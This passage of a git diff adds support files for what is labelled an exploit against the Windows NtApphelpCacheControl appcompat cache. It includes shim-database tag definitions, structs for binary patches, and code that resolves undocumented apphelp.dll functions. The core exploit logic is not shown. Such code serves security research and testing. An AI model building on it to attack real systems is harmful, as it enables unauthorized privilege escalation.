vendor contact attribute. +#define TAG_SXS_MANIFEST (0x1D | TAG_TYPE_STRINGREF) //Side-by-side manifest entry. +#define TAG_DATA_STRING (0x1E | TAG_TYPE_STRINGREF) //String attribute for a data entry. +#define TAG_MSI_TRANSFORM_FILE (0x1F | TAG_TYPE_STRINGREF) //File name attribute of an MSI transformation entry. +#define TAG_16BIT_MODULE_NAME (0x20 | TAG_TYPE_STRINGREF) //16-bit module name attribute. +#define TAG_LAYER_DISPLAYNAME (0x21 | TAG_TYPE_STRINGREF) //Unused. +#define TAG_COMPILER_VERSION (0x22 | TAG_TYPE_STRINGREF) //Shim database compiler version. +#define TAG_ACTION_TYPE (0x23 | TAG_TYPE_STRINGREF) //Unused. +#define TAG_EXPORT_NAME (0x24 | TAG_TYPE_STRINGREF) //Export file name attribute. +#define TAG_SIZE (0x1 | TAG_TYPE_DWORD) //File size attribute. +#define TAG_OFFSET (0x2 | TAG_TYPE_DWORD) //Unused. +#define TAG_CHECKSUM (0x3 | TAG_TYPE_DWORD) //File checksum attribute. +#define TAG_SHIM_TAGID (0x4 | TAG_TYPE_DWORD) //Shim TAGID attribute. +#define TAG_PATCH_TAGID (0x5 | TAG_TYPE_DWORD) //Patch TAGID attribute. +#define TAG_MODULE_TYPE (0x6 | TAG_TYPE_DWORD) //Module type attribute. +#define TAG_VERDATEHI (0x7 | TAG_TYPE_DWORD) //High-order portion of the file version date attribute. +#define TAG_VERDATELO (0x8 | TAG_TYPE_DWORD) //Low-order portion of the file version date attribute. +#define TAG_VERFILEOS (0x9 | TAG_TYPE_DWORD) //Operating system file version attribute. +#define TAG_VERFILETYPE (0xA | TAG_TYPE_DWORD) //File type attribute. +#define TAG_PE_CHECKSUM (0xB | TAG_TYPE_DWORD) //PE file checksum attribute. +#define TAG_PREVOSMAJORVER (0xC | TAG_TYPE_DWORD) //Major operating system version attribute. +#define TAG_PREVOSMINORVER (0xD | TAG_TYPE_DWORD) //Minor operating system version attribute. +#define TAG_PREVOSPLATFORMID (0xE | TAG_TYPE_DWORD) //Operating system platform identifier attribute. +#define TAG_PREVOSBUILDNO (0xF | TAG_TYPE_DWORD) //Operating system build number attribute. +#define TAG_PROBLEMSEVERITY (0x10 | TAG_TYPE_DWORD) //Block attribute of an Apphelp entry. This determines whether the application is hard or soft blocked. +#define TAG_LANGID (0x11 | TAG_TYPE_DWORD) //Language identifier of an Apphelp entry. +#define TAG_VER_LANGUAGE (0x12 | TAG_TYPE_DWORD) //Language version attribute of a file. +#define TAG_ENGINE (0x14 | TAG_TYPE_DWORD) //Unused. +#define TAG_HTMLHELPID (0x15 | TAG_TYPE_DWORD) //Help identifier attribute for an Apphelp entry. +#define TAG_INDEX_FLAGS (0x16 | TAG_TYPE_DWORD) //Flags attribute for an index entry. +#define TAG_FLAGS (0x17 | TAG_TYPE_DWORD) //Flags attribute for an Apphelp entry. +#define TAG_DATA_VALUETYPE (0x18 | TAG_TYPE_DWORD) //Data type attribute for a data entry. +#define TAG_DATA_DWORD (0x19 | TAG_TYPE_DWORD) //DWORD value attribute for a data entry. +#define TAG_LAYER_TAGID (0x1A | TAG_TYPE_DWORD) //Layer shim TAGID attribute. +#define TAG_MSI_TRANSFORM_TAGID (0x1B | TAG_TYPE_DWORD) //MSI transform TAGID attribute. +#define TAG_LINKER_VERSION (0x1C | TAG_TYPE_DWORD) //Linker version attribute of a file. +#define TAG_LINK_DATE (0x1D | TAG_TYPE_DWORD) //Link date attribute of a file. +#define TAG_UPTO_LINK_DATE (0x1E | TAG_TYPE_DWORD) //Link date attribute of a file. Matching is done up to and including this link date. +#define TAG_OS_SERVICE_PACK (0x1F | TAG_TYPE_DWORD) //Operating system service pack attribute for an executable entry. +#define TAG_FLAG_TAGID (0x20 | TAG_TYPE_DWORD) //Flags TAGID attribute. +#define TAG_RUNTIME_PLATFORM (0x21 | TAG_TYPE_DWORD) //Run-time platform attribute of a file. +#define TAG_OS_SKU (0x22 | TAG_TYPE_DWORD) //Operating system SKU attribute for an executable entry. +#define TAG_OS_PLATFORM (0x23 | TAG_TYPE_DWORD) //Operating system platform attribute. +#define TAG_APP_NAME_RC_ID (0x24 | TAG_TYPE_DWORD) //Application name resource identifier attribute for Apphelp entries. +#define TAG_VENDOR_NAME_RC_ID (0x25 | TAG_TYPE_DWORD) //Vendor name resource identifier attribute for Apphelp entries. +#define TAG_SUMMARY_MSG_RC_ID (0x26 | TAG_TYPE_DWORD) //Summary message resource identifier attribute for Apphelp entries. +#define TAG_VISTA_SKU (0x27 | TAG_TYPE_DWORD) //Windows Vista SKU attribute. +#define TAG_DESCRIPTION_RC_ID (0x28 | TAG_TYPE_DWORD) //Description resource identifier attribute for Apphelp entries. +#define TAG_PARAMETER1_RC_ID (0x29 | TAG_TYPE_DWORD) //Parameter1 resource identifier attribute for Apphelp entries. +#define TAG_TAGID (0x801 | TAG_TYPE_DWORD) //TAGID attribute. +#define TAG_STRINGTABLE_ITEM (0x801 | TAG_TYPE_STRING) //String table item entry. +#define TAG_INCLUDE (0x1 | TAG_TYPE_NULL) //Include list entry. +#define TAG_GENERAL (0x2 | TAG_TYPE_NULL) //General purpose shim entry. +#define TAG_MATCH_LOGIC_NOT (0x3 | TAG_TYPE_NULL) //NOT of matching logic entry. +#define TAG_APPLY_ALL_SHIMS (0x4 | TAG_TYPE_NULL) //Unused. +#define TAG_USE_SERVICE_PACK_FILES (0x5 | TAG_TYPE_NULL) //Service pack information for Apphelp entries. +#define TAG_MITIGATION_OS (0x6 | TAG_TYPE_NULL) //Mitigation at operating system scope entry. +#define TAG_BLOCK_UPGRADE (0x7 | TAG_TYPE_NULL) //Upgrade block entry. +#define TAG_INCLUDEEXCLUDEDLL (0x8 | TAG_TYPE_NULL) //DLL include/exclude entry. +#define TAG_TIME (0x1 | TAG_TYPE_QWORD) //Time attribute. +#define TAG_BIN_FILE_VERSION (0x2 | TAG_TYPE_QWORD) //Bin file version attribute for file entries. +#define TAG_BIN_PRODUCT_VERSION (0x3 | TAG_TYPE_QWORD) //Bin product version attribute for file entries. +#define TAG_MODTIME (0x4 | TAG_TYPE_QWORD) //Unused. +#define TAG_FLAG_MASK_KERNEL (0x5 | TAG_TYPE_QWORD) //Kernel flag mask attribute. +#define TAG_UPTO_BIN_PRODUCT_VERSION (0x6 | TAG_TYPE_QWORD) //Bin product version attribute of a file. Matching is done up to and including this product version. +#define TAG_DATA_QWORD (0x7 | TAG_TYPE_QWORD) //ULONGLONG value attribute for a data entry. +#define TAG_FLAG_MASK_USER (0x8 | TAG_TYPE_QWORD) //User flag mask attribute. +#define TAG_FLAGS_NTVDM1 (0x9 | TAG_TYPE_QWORD) //NTVDM1 flag mask attribute. +#define TAG_FLAGS_NTVDM2 (0xA | TAG_TYPE_QWORD) //NTVDM2 flag mask attribute. +#define TAG_FLAGS_NTVDM3 (0xB | TAG_TYPE_QWORD) //NTVDM3 flag mask attribute. +#define TAG_FLAG_MASK_SHELL (0xC | TAG_TYPE_QWORD) //Shell flag mask attribute. +#define TAG_UPTO_BIN_FILE_VERSION (0xD | TAG_TYPE_QWORD) //Bin file version attribute of a file. Matching is done up to and including this file version. +#define TAG_FLAG_MASK_FUSION (0xE | TAG_TYPE_QWORD) //Fusion flag mask attribute. +#define TAG_FLAG_PROCESSPARAM (0xF | TAG_TYPE_QWORD) //Process param flag attribute. +#define TAG_FLAG_LUA (0x10 | TAG_TYPE_QWORD) //LUA flag attribute. +#define TAG_FLAG_INSTALL (0x11 | TAG_TYPE_QWORD) //Install flag attribute. +#define TAG_PATCH_BITS (0x2 | TAG_TYPE_BINARY) //Patch file bits attribute. +#define TAG_FILE_BITS (0x3 | TAG_TYPE_BINARY) //File bits attribute. +#define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY) //GUID attribute of an executable entry. +#define TAG_DATA_BITS (0x5 | TAG_TYPE_BINARY) //Data bits attribute. +#define TAG_MSI_PACKAGE_ID (0x6 | TAG_TYPE_BINARY) //MSI package identifier attribute of an MSI package. +#define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY) //GUID attribute of a database. +#define TAG_INDEX_BITS (0x801 | TAG_TYPE_BINARY) //Index bits attribute. + +#define TAG_APP_ID (0x11 | TAG_TYPE_BINARY) // App id guid? +#define TAG_FIX_ID (0x10 | TAG_TYPE_BINARY) // undocumented + +#define TAG_MATCH_MODE (0x1 | TAG_TYPE_WORD) //Match mode attribute. +#define TAG_TAG (0x801 | TAG_TYPE_WORD) //TAG entry. +#define TAG_INDEX_TAG (0x802 | TAG_TYPE_WORD) //Index TAG attribute for an index entry. +#define TAG_INDEX_KEY (0x803 | TAG_TYPE_WORD) //Index key attribute for an index entry. + +typedef struct tagAPPHELP_DATA { + DWORD dwFlags; + DWORD dwSeverity; + DWORD dwHTMLHelpID; + LPTSTR szAppName; + TAGREF trExe; + LPTSTR szURL; + LPTSTR szLink; + LPTSTR szAppTitle; + LPTSTR szContact; + LPTSTR szDetails; + DWORD dwData; + BOOL bSPEntry; +} APPHELP_DATA, *PAPPHELP_DATA; + +typedef struct tagATTRINFO { + TAG tAttrID; + DWORD dwFlags; + union { + ULONGLONG ullAttr; + DWORD dwAttr; + TCHAR *lpAttr; + }; +} ATTRINFO, *PATTRINFO; + +typedef struct _FIND_INFO { + TAGID tiIndex; + TAGID tiCurrent; + TAGID tiEndIndex; + TAG tName; + DWORD dwIndexRec; + DWORD dwFlags; + ULONGLONG ullKey; + union { + LPCTSTR szName; + DWORD dwName; + GUID *pguidName; + }; +} FIND_INFO, *PFIND_INFO; + +typedef DWORD INDEXID; + +typedef enum _PATH_TYPE { + DOS_PATH, + NT_PATH +} PATH_TYPE; + +typedef struct tagSDBQUERYRESULT { + TAGREF atrExes[SDB_MAX_EXES]; + DWORD adwExeFlags[SDB_MAX_EXES]; + TAGREF atrLayers[SDB_MAX_LAYERS]; + DWORD dwLayerFlags; + TAGREF trApphelp; + DWORD dwExeCount; + DWORD dwLayerCount; + GUID guidID; + DWORD dwFlags; + DWORD dwCustomSDBMap; + GUID rgGuidDB[SDB_MAX_SDBS]; +} SDBQUERYRESULT, *PSDBQUERYRESULT; + + +#define PATCH_MATCH 0x4 +#define PATCH_REPLACE 0x2 +#define MAX_MODULE 32 +typedef struct _PATCHBITS +{ + DWORD opcode; + DWORD actionSize; + DWORD patternSize; + DWORD rva; + DWORD unknown; + WCHAR moduleName[MAX_MODULE]; + BYTE pattern[1]; +} PATCHBITS, *PPATCHBITS; + +//functions +typedef BOOL(WINAPI *BaseFlushAppcompatCache)(void); +typedef TAGID(WINAPI *SdbBeginWriteListTag)(PDB pdb, TAG tTag); +typedef void (WINAPI *SdbCloseDatabase)(PDB pdb); +typedef void (WINAPI *SdbCloseDatabaseWrite)(PDB pdb); +typedef BOOL(WINAPI *SdbCommitIndexes)(PDB pdb); +typedef PDB(WINAPI *SdbCreateDatabase)(LPCWSTR pwszPath, PATH_TYPE eType); +typedef BOOL(WINAPI *SdbDeclareIndex)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwEntries, BOOL bUniqueKey, INDEXID *piiIndex); +typedef BOOL(WINAPI *SdbEndWriteListTag)(PDB pdb, TAGID tiList); +typedef TAGID(WINAPI *SdbFindFirstDWORDIndexedTag)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwName, FIND_INFO *pFindInfo); +typedef TAGID(WINAPI *SdbFindFirstTag)(PDB pdb, TAGID tiParent, TAG tTag); +typedef TAGID(WINAPI *SdbFindNextTag)(PDB pdb, TAGID tiParent, TAGID tiPrev); +typedef BOOL(WINAPI *SdbFormatAttribute)(PATTRINFO pAttrInfo, LPTSTR pchBuffer, DWORD dwBufferSize); +typedef BOOL(WINAPI *SdbFreeFileAttributes)(PATTRINFO pFileAttributes); +typedef void (WINAPI *SdbGetAppPatchDir)(HSDB hSDB, LPTSTR szAppPatchPath, DWORD cchSize); +typedef PVOID(WINAPI *SdbGetBinaryTagData)(PDB pdb, TAGID tiWhich); +typedef BOOL(WINAPI *SdbGetFileAttributes)(LPCTSTR lpwszFileName, PATTRINFO *ppAttrInfo, LPDWORD lpdwAttrCount); +typedef TAGID(WINAPI *SdbGetFirstChild)(PDB pdb, TAGID tiParent); +typedef TAGID(WINAPI *SdbGetIndex)(PDB pdb, TAG tWhich, TAG tKey, LPDWORD lpdwFlags); +typedef BOOL(WINAPI *SdbGetMatchingExe)(HSDB hSDB, LPCTSTR szPath, LPCTSTR szModuleName, LPCTSTR pszEnvironment, DWORD dwFlags, PSDBQUERYRESULT pQueryResult); +typedef TAGID(WINAPI *SdbGetNextChild)(PDB pdb, TAGID tiParent, TAGID tiPrev); +typedef LPTSTR(WINAPI *SdbGetStringTagPtr)(PDB pdb, TAGID tiWhich); +typedef TAG(WINAPI *SdbGetTagFromTagID)(PDB pdb, TAGID tiWhich); +typedef HSDB(WINAPI *SdbInitDatabase)(DWORD dwFlags, LPCTSTR pszDatabasePath); +typedef BOOL(WINAPI *SdbIsStandardDatabase)(GUID GuidDB); +typedef ULONGLONG(WINAPI *SdbMakeIndexKeyFromString)(LPCTSTR pwszKey); +typedef PDB(WINAPI *SdbOpenApphelpDetailsDatabase)(LPCWSTR pwsDetailsDatabasePath); +typedef HMODULE(WINAPI *SdbOpenApphelpResourceFile)(LPCWSTR pwszACResourceFile); +typedef PDB(WINAPI *SdbOpenDatabase)(LPCTSTR pwszPath, PATH_TYPE eType); +typedef DWORD(WINAPI *SdbQueryDataExTagID)(PDB pdb, TAGID tiExe, LPCTSTR lpszDataName, LPDWORD lpdwDataType, LPVOID lpBuffer, LPDWORD lpcbBufferSize, TAGID *ptiData); +typedef BOOL(WINAPI *SdbReadApphelpDetailsData)(PDB pdb, PAPPHELP_DATA pData); +typedef BOOL(WINAPI *SdbReadBinaryTag)(PDB pdb, TAGID tiWhich, PBYTE pBuffer, DWORD dwBufferSize); +typedef DWORD(WINAPI *SdbReadDWORDTag)(PDB pdb, TAGID tiWhich, DWORD dwDefault); +typedef DWORD(WINAPI *SdbReadWORDTag)(PDB pdb, TAGID tiWhich, WORD dwDefault); +typedef ULONGLONG(WINAPI *SdbReadQWORDTag)(PDB pdb, TAGID tiWhich, ULONGLONG qwDefault); +typedef BOOL(WINAPI *SdbReadStringTag)(PDB pdb, TAGID tiWhich, LPTSTR pwszBuffer, DWORD cchBufferSize); +typedef BOOL(WINAPI *SdbRegisterDatabaseEx)(LPCTSTR pszDatabasePath, DWORD dwDatabaseType, PULONGLONG pTimeStamp); +typedef void (WINAPI *SdbReleaseDatabase)(HSDB hSDB); +typedef void (WINAPI *SdbReleaseMatchingExe)(HSDB hSDB, TAGREF trExe); +typedef BOOL(WINAPI *SdbStartIndexing)(PDB pdb, INDEXID iiWhich); +typedef BOOL(WINAPI *SdbStopIndexing)(PDB pdb, INDEXID iiWhich); +typedef BOOL(WINAPI *SdbTagRefToTagID)(HSDB hSDB, TAGREF trWhich, PDB *ppdb, TAGID *ptiWhich); +typedef LPCTSTR(WINAPI *SdbTagToString)(TAG tag); +typedef BOOL(WINAPI *SdbUnregisterDatabase)(GUID *pguidDB); +typedef BOOL(WINAPI *SdbWriteBinaryTag)(PDB pdb, TAG tTag, PBYTE pBuffer, DWORD dwSize); +typedef BOOL(WINAPI *SdbWriteBinaryTagFromFile)(PDB pdb, TAG tTag, LPCWSTR pwszPath); +typedef BOOL(WINAPI *SdbWriteDWORDTag)(PDB pdb, TAG tTag, DWORD dwData); +typedef BOOL(WINAPI *SdbWriteNULLTag)(PDB pdb, TAG tTag); +typedef BOOL(WINAPI *SdbWriteQWORDTag)(PDB pdb, TAG tTag, ULONGLONG qwData); +typedef BOOL(WINAPI *SdbWriteStringTag)(PDB pdb, TAG tTag, LPCWSTR pwszData); +typedef BOOL(WINAPI *SdbWriteWORDTag)(PDB pdb, TAG tTag, WORD wData); +typedef BOOL(WINAPI *ShimFlushCache)(HWND hwnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, int nCmdShow); +typedef BOOL(WINAPI *SdbGetTagDataSize)(PDB pdb, TAG tTag); +typedef DWORD(WINAPI* SdbGetShowDebugInfoOption)(); + + + + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp new file mode 100755 index 0000000000..f3a0ccfa16 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp @@ -0,0 +1,190 @@ +#include "stdafx.h" +#include "sdb.h" + +BaseFlushAppcompatCache BaseFlushAppcompatCachePtr = NULL; +SdbBeginWriteListTag SdbBeginWriteListTagPtr = NULL; +SdbCloseDatabase SdbCloseDatabasePtr = NULL; +SdbCloseDatabaseWrite SdbCloseDatabaseWritePtr = NULL; +SdbCommitIndexes SdbCommitIndexesPtr = NULL; +SdbCreateDatabase SdbCreateDatabasePtr = NULL; +SdbDeclareIndex SdbDeclareIndexPtr = NULL; +SdbEndWriteListTag SdbEndWriteListTagPtr = NULL; +SdbFindFirstDWORDIndexedTag SdbFindFirstDWORDIndexedTagPtr = NULL; +SdbFindFirstTag SdbFindFirstTagPtr = NULL; +SdbFindNextTag SdbFindNextTagPtr = NULL; +SdbFormatAttribute SdbFormatAttributePtr = NULL; +SdbFreeFileAttributes SdbFreeFileAttributesPtr = NULL; +SdbGetAppPatchDir SdbGetAppPatchDirPtr = NULL; +SdbGetBinaryTagData SdbGetBinaryTagDataPtr = NULL; +SdbGetFileAttributes SdbGetFileAttributesPtr = NULL; +SdbGetFirstChild SdbGetFirstChildPtr = NULL; +SdbGetIndex SdbGetIndexPtr = NULL; +SdbGetMatchingExe SdbGetMatchingExePtr = NULL; +SdbGetNextChild SdbGetNextChildPtr = NULL; +SdbGetStringTagPtr SdbGetStringTagPtrPtr = NULL; +SdbGetTagFromTagID SdbGetTagFromTagIDPtr = NULL; +SdbInitDatabase SdbInitDatabasePtr = NULL; +SdbIsStandardDatabase SdbIsStandardDatabasePtr = NULL; +SdbMakeIndexKeyFromString SdbMakeIndexKeyFromStringPtr = NULL; +SdbOpenApphelpDetailsDatabase SdbOpenApphelpDetailsDatabasePtr = NULL; +SdbOpenApphelpResourceFile SdbOpenApphelpResourceFilePtr = NULL; +SdbOpenDatabase SdbOpenDatabasePtr = NULL; +SdbQueryDataExTagID SdbQueryDataExTagIDPtr = NULL; +SdbReadApphelpDetailsData SdbReadApphelpDetailsDataPtr = NULL; +SdbReadBinaryTag SdbReadBinaryTagPtr = NULL; +SdbReadDWORDTag SdbReadDWORDTagPtr = NULL; +SdbReadWORDTag SdbReadWORDTagPtr = NULL; +SdbReadQWORDTag SdbReadQWORDTagPtr = NULL; +SdbReadStringTag SdbReadStringTagPtr = NULL; +SdbRegisterDatabaseEx SdbRegisterDatabaseExPtr = NULL; +SdbReleaseDatabase SdbReleaseDatabasePtr = NULL; +SdbReleaseMatchingExe SdbReleaseMatchingExePtr = NULL; +SdbStartIndexing SdbStartIndexingPtr = NULL; +SdbStopIndexing SdbStopIndexingPtr = NULL; +SdbTagRefToTagID SdbTagRefToTagIDPtr = NULL; +SdbTagToString SdbTagToStringPtr = NULL; +SdbUnregisterDatabase SdbUnregisterDatabasePtr = NULL; +SdbWriteBinaryTag SdbWriteBinaryTagPtr = NULL; +SdbWriteBinaryTagFromFile SdbWriteBinaryTagFromFilePtr = NULL; +SdbWriteDWORDTag SdbWriteDWORDTagPtr = NULL; +SdbWriteNULLTag SdbWriteNULLTagPtr = NULL; +SdbWriteQWORDTag SdbWriteQWORDTagPtr = NULL; +SdbWriteStringTag SdbWriteStringTagPtr = NULL; +SdbWriteWORDTag SdbWriteWORDTagPtr = NULL; +ShimFlushCache ShimFlushCachePtr = NULL; +SdbGetTagDataSize SdbGetTagDataSizePtr = NULL; +SdbGetShowDebugInfoOption SdbGetShowDebugInfoOptionPtr = NULL; + +BOOL resolveSdbFunctions() +{ + HMODULE apphelpdll; + HMODULE kernel32dll; + apphelpdll = LoadLibraryA("apphelp.dll"); + if (!apphelpdll) + { + fprintf(stderr, "Failed to load apphelp\n"); + return FALSE; + } + + kernel32dll = LoadLibraryA("kernel32.dll"); + if (!kernel32dll) + { + fprintf(stderr, "Failed to load kernel32\n"); + return FALSE; + } + + + BaseFlushAppcompatCachePtr = (BaseFlushAppcompatCache)GetProcAddress(kernel32dll, "BaseFlushAppcompatCache"); + SdbBeginWriteListTagPtr = (SdbBeginWriteListTag)GetProcAddress(apphelpdll, "SdbBeginWriteListTag"); + SdbCloseDatabasePtr = (SdbCloseDatabase)GetProcAddress(apphelpdll, "SdbCloseDatabase"); + SdbCloseDatabaseWritePtr = (SdbCloseDatabaseWrite)GetProcAddress(apphelpdll, "SdbCloseDatabaseWrite"); + SdbCommitIndexesPtr = (SdbCommitIndexes)GetProcAddress(apphelpdll, "SdbCommitIndexes"); + SdbCreateDatabasePtr = (SdbCreateDatabase)GetProcAddress(apphelpdll, "SdbCreateDatabase"); + SdbDeclareIndexPtr = (SdbDeclareIndex)GetProcAddress(apphelpdll, "SdbDeclareIndex"); + SdbEndWriteListTagPtr = (SdbEndWriteListTag)GetProcAddress(apphelpdll, "SdbEndWriteListTag"); + SdbFindFirstDWORDIndexedTagPtr = (SdbFindFirstDWORDIndexedTag)GetProcAddress(apphelpdll, "SdbFindFirstDWORDIndexedTag"); + SdbFindFirstTagPtr = (SdbFindFirstTag)GetProcAddress(apphelpdll, "SdbFindFirstTag"); + SdbFindNextTagPtr = (SdbFindNextTag)GetProcAddress(apphelpdll, "SdbFindNextTag"); + SdbFormatAttributePtr = (SdbFormatAttribute)GetProcAddress(apphelpdll, "SdbFormatAttribute"); + SdbFreeFileAttributesPtr = (SdbFreeFileAttributes)GetProcAddress(apphelpdll, "SdbFreeFileAttributes"); + SdbGetAppPatchDirPtr = (SdbGetAppPatchDir)GetProcAddress(apphelpdll, "SdbGetAppPatchDir"); + SdbGetBinaryTagDataPtr = (SdbGetBinaryTagData)GetProcAddress(apphelpdll, "SdbGetBinaryTagData"); + SdbGetFileAttributesPtr = (SdbGetFileAttributes)GetProcAddress(apphelpdll, "SdbGetFileAttributes"); + SdbGetFirstChildPtr = (SdbGetFirstChild)GetProcAddress(apphelpdll, "SdbGetFirstChild"); + SdbGetIndexPtr = (SdbGetIndex)GetProcAddress(apphelpdll, "SdbGetIndex"); + SdbGetMatchingExePtr = (SdbGetMatchingExe)GetProcAddress(apphelpdll, "SdbGetMatchingExe"); + SdbGetNextChildPtr = (SdbGetNextChild)GetProcAddress(apphelpdll, "SdbGetNextChild"); + SdbGetStringTagPtrPtr = (SdbGetStringTagPtr)GetProcAddress(apphelpdll, "SdbGetStringTagPtr"); + SdbGetTagFromTagIDPtr = (SdbGetTagFromTagID)GetProcAddress(apphelpdll, "SdbGetTagFromTagID"); + SdbInitDatabasePtr = (SdbInitDatabase)GetProcAddress(apphelpdll, "SdbInitDatabase"); + SdbIsStandardDatabasePtr = (SdbIsStandardDatabase)GetProcAddress(apphelpdll, "SdbIsStandardDatabase"); + SdbMakeIndexKeyFromStringPtr = (SdbMakeIndexKeyFromString)GetProcAddress(apphelpdll, "SdbMakeIndexKeyFromString"); + SdbOpenApphelpDetailsDatabasePtr = (SdbOpenApphelpDetailsDatabase)GetProcAddress(apphelpdll, "SdbOpenApphelpDetailsDatabase"); + SdbOpenApphelpResourceFilePtr = (SdbOpenApphelpResourceFile)GetProcAddress(apphelpdll, "SdbOpenApphelpResourceFile"); + SdbOpenDatabasePtr = (SdbOpenDatabase)GetProcAddress(apphelpdll, "SdbOpenDatabase"); + SdbQueryDataExTagIDPtr = (SdbQueryDataExTagID)GetProcAddress(apphelpdll, "SdbQueryDataExTagID"); + SdbReadApphelpDetailsDataPtr = (SdbReadApphelpDetailsData)GetProcAddress(apphelpdll, "SdbReadApphelpDetailsData"); + SdbReadBinaryTagPtr = (SdbReadBinaryTag)GetProcAddress(apphelpdll, "SdbReadBinaryTag"); + SdbReadDWORDTagPtr = (SdbReadDWORDTag)GetProcAddress(apphelpdll, "SdbReadDWORDTag"); + SdbReadWORDTagPtr = (SdbReadWORDTag)GetProcAddress(apphelpdll, "SdbReadWORDTag"); + SdbReadQWORDTagPtr = (SdbReadQWORDTag)GetProcAddress(apphelpdll, "SdbReadQWORDTag"); + SdbReadStringTagPtr = (SdbReadStringTag)GetProcAddress(apphelpdll, "SdbReadStringTag"); + SdbRegisterDatabaseExPtr = (SdbRegisterDatabaseEx)GetProcAddress(apphelpdll, "SdbRegisterDatabaseEx"); + SdbReleaseDatabasePtr = (SdbReleaseDatabase)GetProcAddress(apphelpdll, "SdbReleaseDatabase"); + SdbReleaseMatchingExePtr = (SdbReleaseMatchingExe)GetProcAddress(apphelpdll, "SdbReleaseMatchingExe"); + SdbStartIndexingPtr = (SdbStartIndexing)GetProcAddress(apphelpdll, "SdbStartIndexing"); + SdbStopIndexingPtr = (SdbStopIndexing)GetProcAddress(apphelpdll, "SdbStopIndexing"); + SdbTagRefToTagIDPtr = (SdbTagRefToTagID)GetProcAddress(apphelpdll, "SdbTagRefToTagID"); + SdbTagToStringPtr = (SdbTagToString)GetProcAddress(apphelpdll, "SdbTagToString"); + SdbUnregisterDatabasePtr = (SdbUnregisterDatabase)GetProcAddress(apphelpdll, "SdbUnregisterDatabase"); + SdbWriteBinaryTagPtr = (SdbWriteBinaryTag)GetProcAddress(apphelpdll, "SdbWriteBinaryTag"); + SdbWriteBinaryTagFromFilePtr = (SdbWriteBinaryTagFromFile)GetProcAddress(apphelpdll, "SdbWriteBinaryTagFromFile"); + SdbWriteDWORDTagPtr = (SdbWriteDWORDTag)GetProcAddress(apphelpdll, "SdbWriteDWORDTag"); + SdbWriteNULLTagPtr = (SdbWriteNULLTag)GetProcAddress(apphelpdll, "SdbWriteNULLTag"); + SdbWriteQWORDTagPtr = (SdbWriteQWORDTag)GetProcAddress(apphelpdll, "SdbWriteQWORDTag"); + SdbWriteStringTagPtr = (SdbWriteStringTag)GetProcAddress(apphelpdll, "SdbWriteStringTag"); + SdbWriteWORDTagPtr = (SdbWriteWORDTag)GetProcAddress(apphelpdll, "SdbWriteWORDTag"); + ShimFlushCachePtr = (ShimFlushCache)GetProcAddress(apphelpdll, "ShimFlushCache"); + SdbGetTagDataSizePtr = (SdbGetTagDataSize)GetProcAddress(apphelpdll, "SdbGetTagDataSize"); + SdbGetShowDebugInfoOptionPtr = (SdbGetShowDebugInfoOption)GetProcAddress(apphelpdll, "SdbGetShowDebugInfoOption"); + + if (!BaseFlushAppcompatCachePtr + || !SdbBeginWriteListTagPtr + || !SdbCloseDatabasePtr + || !SdbCloseDatabaseWritePtr + || !SdbCommitIndexesPtr + || !SdbCreateDatabasePtr + || !SdbDeclareIndexPtr + || !SdbEndWriteListTagPtr + || !SdbFindFirstDWORDIndexedTagPtr + || !SdbFindFirstTagPtr + || !SdbFindNextTagPtr + || !SdbFormatAttributePtr + || !SdbFreeFileAttributesPtr + || !SdbGetAppPatchDirPtr + || !SdbGetBinaryTagDataPtr + || !SdbGetFileAttributesPtr + || !SdbGetFirstChildPtr + || !SdbGetIndexPtr + || !SdbGetMatchingExePtr + || !SdbGetNextChildPtr + || !SdbGetStringTagPtrPtr + || !SdbGetTagFromTagIDPtr + || !SdbInitDatabasePtr + || !SdbIsStandardDatabasePtr + || !SdbMakeIndexKeyFromStringPtr + || !SdbOpenApphelpDetailsDatabasePtr + || !SdbOpenApphelpResourceFilePtr + || !SdbOpenDatabasePtr + || !SdbQueryDataExTagIDPtr + || !SdbReadApphelpDetailsDataPtr + || !SdbReadBinaryTagPtr + || !SdbReadDWORDTagPtr + || !SdbReadQWORDTagPtr + || !SdbReadStringTagPtr + || !SdbRegisterDatabaseExPtr + || !SdbReleaseDatabasePtr + || !SdbReleaseMatchingExePtr + || !SdbStartIndexingPtr + || !SdbStopIndexingPtr + || !SdbTagRefToTagIDPtr + || !SdbTagToStringPtr + || !SdbUnregisterDatabasePtr + || !SdbWriteBinaryTagPtr + || !SdbWriteBinaryTagFromFilePtr + || !SdbWriteDWORDTagPtr + || !SdbWriteNULLTagPtr + || !SdbWriteQWORDTagPtr + || !SdbWriteStringTagPtr + || !SdbWriteWORDTagPtr + || !ShimFlushCachePtr + || !SdbReadWORDTagPtr + || !SdbGetTagDataSizePtr + || !SdbGetShowDebugInfoOptionPtr) + { + return FALSE; + } + return TRUE; + +} + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp new file mode 100755 index 0000000000..7bdad557f1 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp @@ -0,0 +1,9 @@ +// stdafx.cpp : source file that includes just the standard includes +// exploit.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h new file mode 100755 index 0000000000..d42eed6a35 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h @@ -0,0 +1,14 @@ +#pragma once + +#include "targetver.h" + +#include +#include + + +#define WIN32_NO_STATUS 1 +#include +#undef WIN32_NO_STATUS + +#include +#include diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h b/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h new file mode 100755 index 0000000000..90e767bfce --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 